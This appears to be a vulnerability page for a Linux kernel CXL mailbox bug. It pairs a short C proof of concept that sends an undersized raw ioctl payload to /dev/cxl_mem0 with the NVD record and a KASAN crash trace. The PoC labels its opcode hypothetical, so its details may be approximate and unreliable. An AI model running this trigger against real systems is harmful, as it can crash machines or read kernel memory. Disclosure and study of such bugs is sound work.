CVE-2026-23327

// PoC Code for CVE-2026-23327 // Requires a CXL device or emulator #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define CXL_MEM_SEND_COMMAND _IOWR('C', 0x10, struct cxl_send_command) #define CXL_MBOX_OP_CLEAR_LOG 0x4001 // Hypothetical opcode for demo struct cxl_send_command { __u64 id; __u16 opcode; __u16 flags; __u32 rsvd; __u64 payload_in; __u32 payload_in_size; __u32 payload_out_size; __u64 payload_out; __u64 rsvd2[3]; }; int main() { int fd = open("/dev/cxl_mem0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } // Prepare undersized payload (1 byte instead of 16 for UUID) char *payload = malloc(1); memset(payload, 0x41, 1); struct cxl_send_command cmd = {0}; cmd.opcode = CXL_MBOX_OP_CLEAR_LOG; cmd.payload_in = (__u64)payload; cmd.payload_in_size = 1; // Trigger vulnerability printf("Sending malicious payload...\n"); if (ioctl(fd, CXL_MEM_SEND_COMMAND, &cmd) < 0) { perror("IOCTL failed"); } free(payload); close(fd); return 0; }

{"cve": {"id": "CVE-2026-23327", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:29.837", "lastModified": "2026-04-23T21:11:13.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()\n\ncxl_payload_from_user_allowed() casts and dereferences the input\npayload without first verifying its size. When a raw mailbox command\nis sent with an undersized payload (ie: 1 byte for CXL_MBOX_OP_CLEAR_LOG,\nwhich expects a 16-byte UUID), uuid_equal() reads past the allocated buffer,\ntriggering a KASAN splat:\n\nBUG: KASAN: slab-out-of-bounds in memcmp+0x176/0x1d0 lib/string.c:683\nRead of size 8 at addr ffff88810130f5c0 by task syz.1.62/2258\n\nCPU: 2 UID: 0 PID: 2258 Comm: syz.1.62 Not tainted 6.19.0-dirty #3 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xab/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x650 mm/kasan/report.c:482\n kasan_report+0xce/0x100 mm/kasan/report.c:595\n memcmp+0x176/0x1d0 lib/string.c:683\n uuid_equal include/linux/uuid.h:73 [inline]\n cxl_payload_from_user_allowed drivers/cxl/core/mbox.c:345 [inline]\n cxl_mbox_cmd_ctor drivers/cxl/core/mbox.c:368 [inline]\n cxl_validate_cmd_from_user drivers/cxl/core/mbox.c:522 [inline]\n cxl_send_cmd+0x9c0/0xb50 drivers/cxl/core/mbox.c:643\n __cxl_memdev_ioctl drivers/cxl/core/memdev.c:698 [inline]\n cxl_memdev_ioctl+0x14f/0x190 drivers/cxl/core/memdev.c:713\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xa8/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fdaf331ba79\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fdaf1d77038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007fdaf3585fa0 RCX: 00007fdaf331ba79\nRDX: 00002000000001c0 RSI: 00000000c030ce02 RDI: 0000000000000003\nRBP: 00007fdaf33749df R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fdaf3586038 R14: 00007fdaf3585fa0 R15: 00007ffced2af768\n </TASK>\n\nAdd 'in_size' parameter to cxl_payload_from_user_allowed() and validate\nthe payload is large enough."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ncxl/mbox: validar el tamaño de la carga útil antes de acceder a los contenidos en cxl_payload_from_user_allowed()\n\ncxl_payload_from_user_allowed() convierte y desreferencia la carga útil de entrada sin verificar primero su tamaño. Cuando se envía un comando de buzón sin procesar con una carga útil de tamaño insuficiente (es decir: 1 byte para CXL_MBOX_OP_CLEAR_LOG, que espera un UUID de 16 bytes), uuid_equal() lee más allá del búfer asignado, lo que activa un KASAN splat:\n\nBUG: KASAN: slab-out-of-bounds en memcmp+0x176/0x1d0 lib/string.c:683\nLectura de tamaño 8 en la dirección ffff88810130f5c0 por la tarea syz.1.62/2258\n\nCPU: 2 UID: 0 PID: 2258 Comm: syz.1.62 No contaminado 6.19.0-dirty #3 PREEMPT(voluntary)\nNombre del hardware: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\nTraza de llamadas:\n \n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xab/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x650 mm/kasan/report.c:482\n kasan_report+0xce/0x100 mm/kasan/report.c:595\n memcmp+0x176/0x1d0 lib/string.c:683\n uuid_equal include/linux/uuid.h:73 [inline]\n cxl_payload_from_user_allowed drivers/cxl/core/mbox.c:345 [inline]\n cxl_mbox_cmd_ctor drivers/cxl/core/mbox.c:368 [inline]\n cxl_validate_cmd_from_user drivers/cxl/core/mbox.c:522 [inline]\n cxl_send_cmd+0x9c0/0xb50 drivers/cxl/core/mbox.c:643\n __cxl_memdev_ioctl drivers/cxl/core/memdev.c:698 [inline]\n cxl_memdev_ioctl+0x14f/0x190 drivers/cxl/core/memdev.c:713\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xa8/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fdaf331ba79\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b ... 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